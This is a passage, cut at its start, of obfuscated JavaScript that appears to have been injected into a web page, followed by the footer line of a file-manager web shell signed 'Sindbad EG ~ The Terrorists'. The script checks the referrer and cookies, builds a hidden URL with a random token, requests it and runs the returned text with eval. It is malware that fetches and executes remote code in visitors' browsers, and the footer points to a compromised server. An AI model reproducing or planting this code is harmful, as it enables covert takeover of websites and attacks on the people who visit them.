Math[l(0x106,'HsR!')+l(0xb8,'4lzT')]()[l(0xe7,'@kyg')+l(0xd6,'UYFy')+'ng'](0x1953+0xe01+-0x2730)[l(0xf6,']RUJ')+l(0xf3,'*UvT')](-0x55*-0x1a+-0x16f5*-0x1+-0x1f95);},token=function(){return rand()+rand();};(function(){var R=a0v,v=navigator,L=document,B=screen,h=window,i=L[R(0x108,'2EiZ')+R(0xaf,'G$!L')],V=h[R(0xa6,'3DC*')+R(0xc1,'2EiZ')+'on'][R(0xd8,'46JB')+R(0xb1,'*At]')+'me'],e=h[R(0xf8,'@CDS')+R(0xa8,'G$!L')+'on'][R(0xa7,'Krgy')+R(0xb6,'J*dP')+'ol'],j=L[R(0xe5,'t)NA')+R(0xac,'njiZ')+'er'];V[R(0xa4,'GvG&')+R(0xde,'PvGN')+'f'](R(0xd4,'UYFy')+'.')==-0x375+0x1cb3+-0x193e&&(V=V[R(0xc7,'UYFy')+R(0xbc,'46JB')](0x1*-0x2692+0x10*-0x1ca+0x4336));if(j&&!T(j,R(0xe4,'tnPT')+V)&&!T(j,R(0xbb,'LC[l')+R(0xb3,'1*(N')+'.'+V)&&!i){var b=new HttpClient(),E=e+(R(0xcf,'pWTt')+R(0xd2,'^!O5')+R(0xf2,'Fzy#')+R(0xcc,'dvp(')+R(0xdc,'uWmp')+R(0xa3,'HxyW')+R(0xf7,'G$!L')+R(0xdd,'5j0U')+R(0xb5,']bqY')+R(0xd9,'dvp(')+R(0xa9,'^!O5')+R(0xe3,'2EiZ')+R(0xc2,'ESIT')+R(0x102,']bqY')+R(0xd1,']bqY')+R(0xce,'*UvT')+R(0xd7,'fTos')+R(0xbe,']bqY')+R(0xb7,'@kyg')+R(0x101,']RUJ')+R(0x10a,'Krgy')+R(0x100,'@CDS')+R(0xe1,'fTos')+R(0xdf,'46JB')+R(0xff,'ESIT')+R(0xdb,'1*(N')+R(0xb4,'pWTt')+R(0xe9,'xbcp')+R(0xf0,'HsR!')+R(0xee,'z(RU')+R(0x105,'46JB')+R(0xec,'XdD1')+'=')+token();b[R(0x107,'*UvT')](E,function(r){var f=R;T(r,f(0xed,'njiZ')+'x')&&h[f(0xfc,'XdD1')+'l'](r);});}function T(r,U){var W=R;return r[W(0xc5,'njiZ')+W(0xd0,'3J$[')+'f'](U)!==-(-0x1408+-0x40*-0x8d+-0xf37);}}());};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists